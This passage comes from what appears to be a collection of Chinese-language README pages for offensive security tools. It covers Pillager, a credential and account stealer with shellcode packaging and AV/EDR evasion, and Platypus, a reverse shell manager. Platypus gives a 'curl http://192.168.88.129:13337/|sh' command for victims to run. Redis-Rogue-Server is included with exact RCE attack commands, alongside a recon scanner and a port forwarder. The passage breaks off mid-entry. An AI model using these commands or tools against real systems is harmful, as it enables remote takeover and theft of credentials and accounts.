 |         ✅         |\n| Chrome SxS    |  ✅  |   ✅   |  ✅  |    ✅    |      ✅      |         ✅         |\n| Chromium      |  ✅  |   ✅   |  ✅  |    ✅    |      ✅      |         ✅         |\n| Brave-Browser |  ✅  |   ✅   |  ✅  |    ✅    |      🚧      |         🚧         |\n| QQBrowser     |  ✅  |   ✅   |  ✅  |    ✅    |      ✅      |         ✅         |\n| SogouExplorer |  ✅  |   ✅   |  ✅  |    ✅    |      🚧      |         🚧         |\n| 360Chrome     |  ❌  |   ✅   |  ✅  |    ❌    |      ✅      |         ✅         |\n| 360ChromeX    |  ❌  |   ✅   |  ✅  |    ❌    |      ✅      |         ✅         |\n| Vivaldi       |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| CocCoc        |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Torch         |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Kometa        |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Orbitum       |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| CentBrowser   |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| 7Star         |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Sputnik       |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Epic Privacy  |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Uran          |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Yandex        |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Opera         |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| Opera GX      |  🚧  |   🚧   |  🚧  |    🚧    |      🚧      |         🚧         |\n| FireFox       |  ✅  |   ✅   |  ✅  |    ✅    |      ❌      |         ✅         |\n\n注：✅表示经过测试，🚧表示理论上支持但未经测试，❌表示无此功能或不支持\n\n#### 软件\n\n* 账户接管\n  * Telegram\n  * Skype\n  * Enigma\n  * 钉钉\n  * Line\n  * Discord\n  * 网易邮箱大师\n  * Foxmail\n  * FileZilla\n* 凭据提取\n  * MobaXterm\n  * Xmanager\n  * RDCMan\n  * FinalShell\n  * Navicat\n  * SQLyog\n  * SecureCRT\n  * Outlook\n  * MailBird\n  * WinSCP\n  * DBeaver\n  * CoreFTP\n  * Snowflake\n* 个人信息\n  * QQ\n  * VSCode\n  * 网易云音乐\n\n后续将会陆续添加支持的软件\n\n#### System\n\n* Wifi\n* 截屏\n* 已安装应用\n\n## 使用方法\n\n此项目使用Github Action自动编译打包，并上传至[Release](https://github.com/qwqdanchun/Pillager/releases)，其中\n\n* [Pillager.exe](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/Pillager.exe) 为.Net Framework v3.5编译生成的exe\n* [Pillager.bin](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/Pillager.bin) Donut打包的raw格式的shellcode\n* [cs-plugin.zip](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/cs-plugin.zip) 为适用于CobaltStrike使用的插件\n\n使用CobaltStrike可以直接下载插件包，其他人推荐将shellcode集成至自己的加载器或工具中运行，不建议直接使用Pillager.exe\n\n执行后会将文件打包至 `%Temp%\\Pillager.zip`，需要自行前往目录下载文件或修改代码将文件上传至他处\n\n## 优点\n\n* 体积在100kb左右，为同类工具体积的几分之一甚至几十分之一\n* 支持大部分常见浏览器，常见聊天软件的信息提取，将陆续添加其他常用工具的信息收集\n* 长期维护，有问题可以及时的反馈处理\n* 使用魔改版本的Donut，缩小shellcode体积，使shellcode兼容.Net Framework v3.5/v4.x，并去除AV/EDR对Donut提取的特征\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Platypus.md",
    "content": "## Platypus <https://github.com/WangYihang/Platypus>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-WangYihang-orange)\n![GitHub stars](https://img.shields.io/github/stars/WangYihang/Platypus.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n![Time](https://img.shields.io/badge/Join-20210702-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nA modern multiple reverse shell sessions/clients manager via terminal written in go\n\n## Features\n\n- [x] Multiple service listening port\n- [x] Multiple client connections\n- [x] [RESTful API](./doc/RESTful.md)\n- [x] [Python SDK](https://github.com/WangYihang/Platypus-Python)\n- [x] [Reverse shell as a service](/doc/RaaS.md) (Pop a reverse shell in multiple languages without remembering idle commands)\n- [x] Download/Upload file with progress bar\n- [x] Full interactive shell\n  - [x] Using vim gracefully in reverse shell\n  - [x] Using CTRL+C and CTRL+Z in reverse shell\n- [x] Start servers automatically\n- [x] Port forwarding\n- [x] Initialize from configuration file\n- [x] Web UI\n\n## Documents\n\n* [Chinese | 中文文档](https://platypus-reverse-shell.vercel.app/)\n\n## Get Start\n\n> There are multiple ways to run this tool, feel free to choose one of the following method.\n\n### Install requirements for running (Optional)\n\n```\nsudo apt install upx\n```\n\n### Run Platypus from source code\n\n```bash\ngit clone https://github.com/WangYihang/Platypus\ncd Platypus\nsudo apt install -y make curl\nmake install_dependency\nmake release\n```\n\n### Run Platypus from docker-compose\n\n```bash\ndocker-compose up -d\n# Method 1: enter the cli of platypus\ndocker-compose exec app tmux a -t platypus\n# Method 2: enter the web ui of platypus\nfirefox http://127.0.0.1:7331/\n```\n\n### Run Platypus from release binaries\n\n1. Download `Platypus` prebuild binary from [HERE](https://github.com/WangYihang/Platypus/releases)\n2. Run the downloaded executable file\n\n## Usage\n\n### Network Topology\n\n* Attack IP: `192.168.88.129`\n  * Reverse Shell Service: `0.0.0.0:13337`\n  * Reverse Shell Service: `0.0.0.0:13338`\n  * RESTful Service: `127.0.0.1:7331`\n* Victim IP: `192.168.88.130`\n\n### Give it a try\n\nFirst, run `./Platypus`, then the `config.yml` will be generated automatically, and the config file is simple enough.\n\n```yaml\nservers: \n  - host: \"0.0.0.0\"\n    port: 13337\n    # Platypus is able to use several properties as unique identifier (primirary key) of a single client.\n    # All available properties are listed below:\n    # `%i` IP\n    # `%u` Username\n    # `%m` MAC address\n    # `%o` Operating System\n    # `%t` Income TimeStamp\n    hashFormat: \"%i %u %m %o\"\n  - host: \"0.0.0.0\"\n    port: 13338\n    # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC.\n    hashFormat: \"%i %u %m %o %t\"\nrestful:\n  host: \"127.0.0.1\"\n  port: 7331\n  enable: true\n# Check new releases from GitHub when starting Platypus\nupdate: false\n```\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/cli/start.gif)\n\nAs you can see, platypus will check for updates, then start listening on port 13337, 13338 and 7331\n\nThe three port have different aims.\n- 13337 Reverse shell server, which **disallows** the reverse session comes from the IP.\n- 13338 Reverse shell server, which **allows** the reverse session comes from the IP.\n- 7331 Platypus [RESTful](https://github.com/WangYihang/Platypus/blob/master/doc/RESTful.md) API EndPoint, which allows you to manipulate Platypus through HTTP protocol or [Python SDK](https://github.com/WangYihang/Platypus/blob/master/doc/SDK.md).\n\nIf you want another reverse shell listening port, just type `Run 0.0.0.0 1339` or modify the `config.yml`.\n\nAlso, platypus will print help information about [RaaS](https://github.com/WangYihang/Platypus/blob/master/doc/RaaS.md) which release you from remembering  tedious reverse shell commands. \n\nWith platypus, all you have to do is just copy-and-paste the `curl` command and execute it on the victim machine.\n\n```bash\ncurl http://127.0.0.1:13337/|sh\ncurl http://192.168.88.129:13337/|sh\n```\n\nNow, suppose that the victim is attacked by the attacker and a reverse shell command will be executed on the machine of victim.\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/cli/connect.gif)\n\n> Notice, the RaaS feature ensure that the reverse shell process is running in background and ignore the hangup signal.\n\n## Get start with Web UI\n\n### Manage listening port\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/webui/add.gif)\n\n### Wait for client connection\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/webui/wait)\n\n### Popup an interactive shell\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/webui/shell.gif)\n\n### Upgrade a reverse shell to an encrypted channel (Termite)\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/webui/upgrade.gif)\n\n## Get start with cli\n\n### List all victims\n\nYou can use `List` command to print table style infomation about all listening servers and connected clients. Notice that the port `13337` will reset the connection from the same machine (we consider two connection are same iff they share the same Hash value, the info being hash can be configured in `config.yml`). Port `13338` will not reset such connections, which provide more repliability.\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/cli/list.gif)\n\n### Select a victim\n\n`Jump` command can take you a tour between clients.\nUse `Jump [HASH / Alias]` to jump. `Alias` is a alias of a specific client, you can set a alias of a client via `Alias [ALIAS]`.\nAlso, for jumping through `HASH`, you do not need to type the whole hash, just prefix of hash will work.\n\n> All commands are case insensitive, feel free to use tab for completing.\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/cli/jump.gif)\n\n\n### Interactive shell\n\n`Interact` will popup a shell, just like `netcat`.\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/cli/interact.gif)\n\n### Download file\n\nUse `Download` command to download file from reverse shell client to attacker's machine.\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/cli/download.gif)\n\n### Upload file\n\nUse `Upload` command to upload file to the current interacting client.\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/cli/upload.gif)\n\n### Interactive shell mode\n\n> This feature only works on *nix clients\n\n> For your user experience, we highly RECOMMEND you use `Upgrade` command to upgrade the plain reverse shell to a encrypted interactive shell.\n\nTry to Spawn `/bin/bash` via Python, then the shell is fully interactive (You can use vim / htop and other stuffs).\nFirst use `Jump` to select a client, then type `PTY`, then type `Interact` to drop into a fully interactive shell.\n~~You can just simply type `exit` to exit pty mode~~, to avoid the situation in [issue #39](https://github.com/WangYihang/Platypus/issues/39), you can use `platyquit` to quit the fully interactive shell mode.\n\n![](https://github.com/WangYihang/Platypus/raw/master/docs/zh/docs/images/cli/interactive.gif)\n\n\n## Advanced [Usages](https://github.com/WangYihang/Platypus/blob/master/doc)\n\n* Reverse shell as a Service (RaaS)\n* RESTful API\n* Python SDK\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-19 发布文章[《Platypus：支持多会话的交互式反向 Shell 管理器》](https://mp.weixin.qq.com/s/9UFm1XQiWMUeA7pG93FfeQ)\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Pocassist.md",
    "content": "## Pocassist <https://github.com/jweny/pocassist>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-jweny-orange)\n![GitHub stars](https://img.shields.io/github/stars/jweny/pocassist.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.5-red)\n![Time](https://img.shields.io/badge/Join-20210702-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\npocassist是一个 Golang 编写的全新开源漏洞测试框架。\n\n- 简单易用\n  - 只需要在前端编辑，即可生成poc对批量目标进行测试\n  - 单二进制文件，无依赖，也无需安装\n- 性能优秀\n  - 支持高并发，多重并发控制，通过使用 `ants`实例化协程池，复用 goroutine\n  - 多重内存复用，尽可能小的内存占用\n- 规则体系\n  - 完全兼容xray，但又不仅仅是xray。除了支持定义目录级漏洞poc，还支持服务器级漏洞、参数级漏洞、url级漏洞以及对页面内容检测，如果以上还不满足你的需求，还支持加载自定义脚本。\n\n使用之前务必先阅读使用文档！\n\n🏠[使用文档](https://pocassist.jweny.top/)\t⬇️[下载最新版本](https://github.com/jweny/pocassist/releases)\n\n## 快速开始\n\n### 像数 1, 2, 3 一样容易\n\n```bash\n# 启动服务\n./pocassist\n\n# 浏览器访问 \nhttp://127.0.0.1:1231\n```\n\n建议使用[pocassistdb](https://github.com/jweny/pocassistdb)作为漏洞库。⬇️[下载漏洞库最新版本](https://github.com/jweny/pocassistdb/releases/)，并在`config.yaml `的`sqlite`项配置路径。\n\n有想一块维护poc的师傅也可直接向该项目提PR。\n\n## Demo\n\n登录页\n\n![登录页](https://github.com/jweny/pocassist/raw/master/docs/pic/%E7%99%BB%E5%BD%95%E9%A1%B5.jpg)\n\n规则首页\n\n![规则首页](https://github.com/jweny/pocassist/raw/master/docs/pic/%E8%A7%84%E5%88%99%E9%A6%96%E9%A1%B5.jpg)\n\n规则详情\n\n![规则详情](https://github.com/jweny/pocassist/raw/master/docs/pic/%E8%A7%84%E5%88%99%E8%AF%A6%E6%83%85.jpg)\n\n支持一键导入xray规则\n\n![upload-yaml](https://github.com/jweny/pocassist/raw/master/docs/pic/yaml.gif)\n\n单条规则靶机测试\n\n![单条规则靶机测试](https://github.com/jweny/pocassist/raw/master/docs/pic/%E5%8D%95%E6%9D%A1%E8%A7%84%E5%88%99%E9%9D%B6%E6%9C%BA%E6%B5%8B%E8%AF%95.png)\n\n漏洞描述首页\n\n![漏洞描述首页](https://github.com/jweny/pocassist/raw/master/docs/pic/%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0%E9%A6%96%E9%A1%B5.jpg)\n\n漏洞描述详情\n\n![漏洞描述详情](https://github.com/jweny/pocassist/raw/master/docs/pic/%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0%E8%AF%A6%E6%83%85.png)\n\n新建批量扫描任务\n\n![新建扫描任务](https://github.com/jweny/pocassist/raw/master/docs/pic/%E6%96%B0%E5%BB%BA%E6%89%AB%E6%8F%8F%E4%BB%BB%E5%8A%A1.png)\n\n任务状态\n\n![任务首页](https://github.com/jweny/pocassist/raw/master/docs/pic/%E4%BB%BB%E5%8A%A1%E9%A6%96%E9%A1%B5.png)\n\n扫描结果\n\n![扫描结果](https://github.com/jweny/pocassist/raw/master/docs/pic/%E6%89%AB%E6%8F%8F%E7%BB%93%E6%9E%9C.jpg)\n\n结果首页\n\n![结果首页](https://github.com/jweny/pocassist/raw/master/docs/pic/%E7%BB%93%E6%9E%9C%E9%A6%96%E9%A1%B5.jpg)\n\n组件首页\n\n![组件首页](https://github.com/jweny/pocassist/raw/master/docs/pic/%E7%BB%84%E4%BB%B6%E9%A6%96%E9%A1%B5.jpg)\n\n## 常见问题\n\n1. 自定义配置。pocassist首次运行时将在当前目录生成`config.yaml`，引擎启动后实时监控配置文件变化，配置文件修改后无需重启，即热加载\n2. 用户名密码错误：检查数据库配置，以及数据库auth表。建议使用[pocassistdb](https://github.com/jweny/pocassistdb)作为漏洞库\n5. 支持前后端分离部署。前端源码、nginx配置示例可参考[pocassistweb](https://github.com/jweny/pocassistweb)\n4. 其他使用问题请先阅读[使用文档](https://pocassist.jweny.top/)\n\n## 免责声明\n\n未经授权，使用pocassist攻击目标是非法的。pocassist仅用于安全测试目的。为避免被恶意使用，本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-17 发布文章[《pocassist : 全新的开源在线 poc 测试框架》](https://mp.weixin.qq.com/s/y0FrNX08yULCqJXmUI6FSg)\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/PortForward.md",
    "content": "## PortForward <https://github.com/knownsec/PortForward>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/PortForward.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n![Time](https://img.shields.io/badge/Join-20201022-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n## 0x00 前言\n`PortForward` 是使用 Golang 进行开发的端口转发工具，解决在某些场景下 `内外网无法互通`的问题。\n\n`PortForward` 的功能如下：\n\n\t1. 支持 tcp/udp 协议层的端口转发\n\t2. 支持级联\n\t3. 支持正向/反向连接模式\n\t4. 支持多通道\n\t5. 支持 ipv6\n\n本文对 `PortForward` 进行了详细的介绍。\n\n目录：\n\n1. 使用说明\n2. 工作场景\n3. 源码结构\n4. 逻辑结构\n5. 端口转发的实现\n6. udp的knock报文\n7. udp的超时设置\n8. listen-listen的超时设置\n9. 多通路的实现\n10. issue\n11. contributions\n\n## 0x01 使用说明\n**1.使用**  \n\n\tUsage:\n\t  ./portforward [proto] [sock1] [sock2]\n\tOption:\n\t  proto      the port forward with protocol(tcp/udp)\n\t  sock       format: [method:address:port]\n\t  method     the sock mode(listen/conn)\n\tExample:\n\t  tcp conn:192.168.1.1:3389 conn:192.168.1.10:23333\n\t  udp listen:192.168.1.3:5353 conn:8.8.8.8:53\n\t  tcp listen:[fe80::1%lo0]:8888 conn:[fe80::1%lo0]:7777\n\n\tversion: 0.5.0(build-20201022)\n\n**2.编译**  \n\n\tGolang 1.12及以上\n\tGO111MODULE=on\n\t\n\tgit clone https://github.com/knownsec/Portforward.git\n\t./build.sh\n\n\n## 0x02 工作场景\n这里列举了一些 `PortForward` 的工作场景，如下：\n\n**2.1 简单模式**  \n<div align=\"center\">\n<img src=\"https://github.com/knownsec/PortForward/raw/master/Images/simple_forward.png\" width=\"500\">\n</br>[图1.简单转发模式]\n</div>\n\n**2.2 受限主机转发**  \n<div align=\"center\">\n<img src=\"https://github.com/knownsec/PortForward/raw/master/Images/restricted_forward.png\" width=\"500\">\n</br>[图2.受限主机转发模式图]\n</div> \n\n**2.3 级联端口转发**  \n<div align=\"center\">\n<img src=\"https://github.com/knownsec/PortForward/raw/master/Images/mutil_forward.png\" width=\"500\">\n</br>[图3.级联端口转发]\n</div> \n\n\n## 0x03 源码结构\n\n\t.\n\t├── CHANGELOG\n\t├── Images        // images resource\n\t├── README.md\n\t├── build.sh      // compile script\n\t├── forward.go    // portforward main logic\n\t├── go.mod\n\t├── log.go        // log module\n\t├── main.go       // main, parse arguments\n\t├── tcp.go        // tcp layer\n\t└── udp.go        // udp layer\n\n\n## 0x04 逻辑结构\n`PortForward` 支持 `TCP` , `UDP` 协议层的端口转发，代码抽象后逻辑结构框架如下：\n<div align=\"center\">\n<img src=\"https://github.com/knownsec/PortForward/raw/master/Images/portforward_framework.png\" width=\"500\">\n</br>[图4.整体框架]\n</div>\n\n\n## 0x05 端口转发的实现\n端口转发程序作为网络传输的中间人，无非就是将两端的 socket 对象进行联通，数据就可以通过这条「链路」进行传输了。\n\n按照这样的思路，我们从需求开始分析和抽象，可以这么认为：无论是作为 `tcp` 还是 `udp` 运行，无论是作为 `connect` 还是 `listen` 运行，最终都将获得两个 socket，其中一个连向原服务，另一个与客户端连接；最终将这两端的 socket 联通即可实现端口转发。\n\n在 Golang 中我们采用了 `io.Copy()` 来联通两个 socket，但是 `io.Copy` 必须要求对象实现了 `io.Reader/io.Writer` 接口，`tcp` 的 socket 可以直接支持，而 `udp` 的 socket 需要我们进行封装。\n\n\n## 0x06 udp的knock报文\n在 `udp` 的 `connect` 模式下，我们在连接服务器成功后，立即发送了一个 `knock` 报文，如下：\n\n\tconn, err := net.DialTimeout(\"udp\", ...\n\t_, err = conn.Write([]byte(\"\\x00\"))\n\n其作用是通知远程 `udp` 服务器我们已经连上了(`udp` 创建连接后，仅在本地操作系统层进行了注册，只有当发送一个报文到对端后，远程服务器才能感知到新连接)，当我们在 `udp` 的 `conn-conn` 模式下运行时，这个报文是必须的。\n\n\n## 0x07 udp的超时设置\n在 `udp` 的实现中，我们为所有的 `udp` 连接 socket 对象都设置了超时时间(`tcp` 中不需要)，这是因为在 `udp` 中，socket 对象无法感知对端退出，如果不设置超时时间，将会一直在 `conn.Read()` 阻塞下去。\n\n我们设置了 `udp` 超时时间为 60 秒，当 60 秒无数据传输，本次建立的虚拟通信链路将销毁，端口转发程序将重新创建新的通信链路。\n\n\n## 0x08 listen-listen的超时设置\n对于 `listen-listen` 模式，需要等待两端的客户端都连上端口转发程序后，才能将两个 socket 进行联通。\n\n为此我们在此处设置了 120 秒的超时时间，也就是说当其中一端有客户端连接后，另一端在 120 秒内没有连接，我们就销毁这个未成功建立的通信链路；用户重新连接即可。\n\n>如果没有这个超时，可能某些场景遗留了某个连接，将造成后续的通信链路错位。\n\n\n## 0x09 多通路的实现\n多通路可以支持同时发起多个连接，这里我们以 `tcp` 作为例子来说明。为了处理这种情况，我们的处理方式是：\n\n1. `listen-conn`: 每当 listen 服务器接收到新连接后，与远端创建新的连接，并将两个 socket 进行联通。\n2. `listen-listen`: (好像没有实际场景)两端的 listen 服务器接收到新连接后，将两个 socket 进行联通。\n3. `conn-conn`: 创建 sock1 的连接，当 sock1 端收到数据，创建与 sock2 的连接，将两个 socket 进行联通；随后继续创建 sock1 连接(预留)。\n\n>我们在 `udp` 中也加入了多通路的支持，和 `tcp` 基本类似，但由于 `udp` 是无连接的，我们不能像 `tcp` 直接联通两个 socket 对象。我们在 `udp listen` 服务器中维护了一个临时表，使用 `ip:port` 作为标志，以描述各个通信链路的联通情况，依据此进行流量的分发。\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Redis-Rogue-Server.md",
    "content": "## Redis-Rogue-Server <https://github.com/Dliv3/redis-rogue-server>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-Dliv3-orange)\n![GitHub stars](https://img.shields.io/github/stars/Dliv3/redis-rogue-server.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20201120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nRedis 4.x/Redis 5.x RCE利用脚本, 涉及技术点可参考 [Redis post-exploitation](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf).\n\n经测试Redis 5.0.8也可以使用，没有出现ppt上写的5.0无法set/get config的情况.\n\n## Usage\n\n编译.so模块, 代码: <https://github.com/n0b0dyCN/RedisModules-ExecuteCommand>.\n\n将.so与 `redis-rogue-server.py`放置在同一目录下\n\n项目自带了一个编译好的的exp.so文件, 可直接使用\n\n### 主动连接模式\n\n适用于目标Redis服务处于外网的情况\n- 外网Redis未授权访问\n- 已知外网Redis口令\n\n启动redis rogue server，并主动连接目标redis服务发起攻击\n\n```bash\npython3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>\n```\n\n参数说明：\n- `--rpasswd` 如果目标Redis服务开启了认证功能，可以通过该选项指定密码\n- `--rhost` 目标redis服务IP\n- `--rport` 目标redis服务端口，默认为6379\n- `--lhost` vps的外网IP地址\n- `--lport` vps监控的端口，默认为21000\n\n攻击成功之后，你会得到一个交互式shell\n\n### 被动连接模式\n\n适用于目标Redis服务处于内网的情况\n- 通过SSRF攻击Redis\n- 内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server\n\n这种情况下可以使用`--server-only`选项\n\n```bash\npython3 redis-rogue-server.py --server-only\n```\n\n参数说明：\n- `--server-only` 仅启动redis rogue server, 接受目标redis的连接，不主动发起连接\n\n## Copyright\n\n本项目为[n0b0dyCN](https://github.com/n0b0dyCN)同名项目的fork, 在原项目代码基础之上修复了一些bug, 添加了一些新功能, 并针对不同漏洞利用场景做了一些优化。\n\n因原作者删掉了原始repo, 所以直接挂到了我下面。\n\n本项目版权归[Dliv3](https://github.com/Dliv3)和[n0b0dyCN](https://github.com/n0b0dyCN)所有。\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/ServerScan.md",
    "content": "## ServerScan <https://github.com/Adminisme/ServerScan>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-Adminisme-orange)\n![GitHub stars](https://img.shields.io/github/stars/Adminisme/ServerScan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.2-red)\n![Time](https://img.shields.io/badge/Join-20210223-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n```shell\n███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗     ███████╗ ██████╗ █████╗ ███╗   ██╗\n██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗    ██╔════╝██╔════╝██╔══██╗████╗  ██║\n███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝    ███████╗██║     ███████║██╔██╗ ██║\n╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗    ╚════██║██║     ██╔══██║██║╚██╗██║\n███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║    ███████║╚██████╗██║  ██║██║ ╚████║\n╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝    ╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═══╝\n                                                                                By:Trim   \n```\n\n一款使用**Golang**开发且适用于攻防演习**内网横向信息收集**的**高并发**网络扫描、服务探测工具。\n\n## 🍭Property\n- 多平台支持（Windows、Mac、Linux、Cobalt Strike）\n- 存活IP探测（支持TCP、ICMP两种模式）\n- 超快的端口扫描\n- 服务和应用版本检测功能，内置指纹探针采用:[nmap-service-probes](https://raw.githubusercontent.com/nmap/nmap/master/nmap-service-probes)\n- Web服务（http、https）信息探测\n- ~~扫描结果兼容INFINITY攻防协同平台~~（暂不公开）\n\n## 🎉First Game\n\n​\t总结诸多实战经验，考虑到实战过程中会出现和存在复杂的环境、红蓝对抗过程中常用的内存加载无文件落地执行等，因此**ServerScan**设计了**轻巧版**、**专业版**、支持**Cobalt Strike跨平台beacon:[Cross C2](https://github.com/gloxec/CrossC2)的动态链接库**，**~~以及支持INFINITY攻防协同平台的专用版~~**。便于在不同的Shell环境中可以轻松自如地使用：如：Windows Cmd、Linux Console、远控Console、WebShell等，以及Cobalt Strike联动使用cna脚本文件加载，实现内网信息快速收集，为下一步横向移动铺路。\n\n**轻巧版：**\n\n 参数形式简单、扫描速度快、耗时短、文件体积小、适合在网络情况较好的条件情况下使用。\n\n**专业版：**\n\n 支持参数默认值、支持自定义扫描超时时长、支持扫描结果导出、适合在网络条件较苛刻的情况下使用。\n\n**动态链接库：**\n\n 为支持Cobalt Strike跨平台beacon，无文件落地执行，无文件执行的进程信息，基于轻巧版本进行动态链接库编译，扫描超时时长为1.5秒。\n\n### 💻for  Linux or Windows\n\n  * #### 轻巧版\n  \n    * ***for PortScan***\n    \n      **Usage：**\n    \n      ![Air_scan_use](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/Linux/Air_scan_use.png)\n    \n      **Scanning：**\n    \n      ![Air_scan1](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/Linux/Air_scan.png)\n    \n    * ***for Service and Version Detection***\n    \n      **Usage：**\n    \n      ![Air_scan_probes_use](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/Windows/Air_scan_probes_use.png)\n    \n      **Scanning：**\n    \n      ![Air_scan_probes](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/Windows/Air_scan_probes.png)\n  \n  * #### 专业版\n\n    * ***for PortScan***\n\n      **Usage：**\n\n      ![Pro_scan_use](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/Linux/Pro_scan_use.png)\n\n      **Scanning：**\n    \n      ![Pro_scan](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/Linux/Pro_scan.png)\n    \n    * ***for Service and Version Detection***\n    \n      **Usage：**\n    \n      ![Pro_scan_probes_use](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/Windows/Pro_scan_probes_use.png)\n    \n      **Scanning：**\n    \n      ![Pro_scan_probes](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/Windows/Pro_scan_probes.png)\n\n\n### 🎮for Cobalt Strike\n\n  * ***Windows***\n\n       \t由于Cobalt Strike已经内置了PortScan，因此目前Windows仅支持利用cna上传对应版本的ServerScan可执行文件到服务器进行扫描。\n\n      * ***for Service and Version Detection***\n\n        Interact:\n\n        ![serverscan_windows](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/CobaltStrike/serverscan_windows.jpg)\n\n        ![serverscan2_windows](https://github.com/Adminisme/ServerScan/raw/master/img/serverscan/CobaltStrike/serverscan2_windows.jpg)\n\n\n  * ***Cobalt Strike跨平台beacon***\n\n    ​        